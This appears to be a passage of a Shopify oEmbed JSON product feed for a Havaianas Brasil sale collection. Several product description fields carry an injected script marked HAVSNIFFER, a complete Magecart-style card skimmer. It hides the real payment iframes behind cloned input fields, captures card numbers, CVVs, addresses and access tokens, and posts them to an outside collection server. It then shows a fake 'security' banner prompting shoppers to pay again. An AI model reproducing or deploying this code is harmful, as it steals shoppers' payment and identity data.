\u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Café \/ Único","offer_id":46311501955329,"sku":"4150272_0727_998","price":149.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150272-0727-street-bag-color-ii-1.png?v=1747767707"},{"product_id":"shoulder-bag-havaianas-color-ii-4150272_1156","title":"Shoulder Bag Havaianas Color II","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Esverdeado \/ Único","offer_id":46311502119169,"sku":"4150272_1156_998","price":149.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150272-1156-street-bag-color-ii-1.png?v=1747767673"},{"product_id":"bone-havaianas-1962-4146984_0154","title":"Boné Havaianas 1962","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Areia \/ Único","offer_id":46529705541889,"sku":"4146984_0154_998","price":124.99,"currency_code":"BRL","in_stock":false}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4146984-0154-bone-havaianas-1962-b-0.png?v=1752670034"}],"url":"https:\/\/havaianas.com.br\/collections\/promo-dia-dos-pais.oembed?page=5","provider":"Havaianas Brasil","version":"1.0","type":"link"}